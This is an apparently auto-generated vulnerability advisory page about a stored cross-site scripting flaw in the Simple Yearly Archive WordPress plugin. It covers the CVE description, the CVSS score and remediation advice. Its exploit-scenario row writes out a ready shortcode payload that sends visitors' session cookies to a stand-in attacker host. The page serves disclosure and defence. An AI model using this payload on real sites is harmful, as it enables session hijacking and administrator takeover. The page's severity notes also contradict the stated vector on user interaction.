EUVD-2026-53185
GHSA-79j5-9jj8-57rm
Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Contributor authentication required (PR:L); victim must visit the injected page for execution (UI:R); XSS crosses into victim browser scope (S:C); no availability impact.
Primary rating from Vendor (Wordfence).
CVSS VectorVendor: Wordfence
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Lifecycle Timeline
2DescriptionCVE.org
The Simple Yearly Archive plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the posttype attribute of the SimpleYearlyArchive shortcode in all versions up to, and including, 2.2.4 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
AnalysisAI
Stored Cross-Site Scripting in the Simple Yearly Archive WordPress plugin (all versions through 2.2.4) permits authenticated attackers holding Contributor-level access or higher to inject persistent malicious scripts via the posttype attribute of the SimpleYearlyArchive shortcode. The injected payload is stored in the WordPress database and executes in the browser of any visitor who loads the affected page, enabling session hijacking, credential theft, or administrative account takeover. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires an active, authenticated WordPress user account with at minimum the Contributor role on the target installation - unauthenticated attackers cannot exploit this vulnerability. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The NVD CVSS 3.1 score of 6.4 (AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N) rates this as medium severity. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker who holds or obtains a Contributor account on the target WordPress site edits or creates a page embedding the `[SimpleYearlyArchive posttype="<script>document.location='https://attacker.tld/?c='+document.cookie</script>"]` shortcode with a crafted `posttype` value. When a site administrator or logged-in user visits the page, the script fires in their browser and exfiltrates their session cookie to the attacker's server, enabling session hijacking and potential full administrative takeover. … |
| Remediation | Update the Simple Yearly Archive plugin to the latest version available via the WordPress plugin directory (https://wordpress.org/plugins/simple-yearly-archive), as a fix has been committed to the plugin trunk (https://plugins.trac.wordpress.org/changeset?new=3525626%40simple-yearly-archive%2Ftrunk&old=3461850%40simple-yearly-archive%2Ftrunk); the exact patched version number should be verified before advising a specific upgrade target. … Detailed patch versions, workarounds, and compensating controls in full report. |
Threat intelligence, references, and detailed analysis are available after sign-in.
More in Simple Yearly Archive
View allSame weakness CWE-79 – Cross-site Scripting (XSS)
View allShare
External POC / Exploit Code
Leaving vuln.today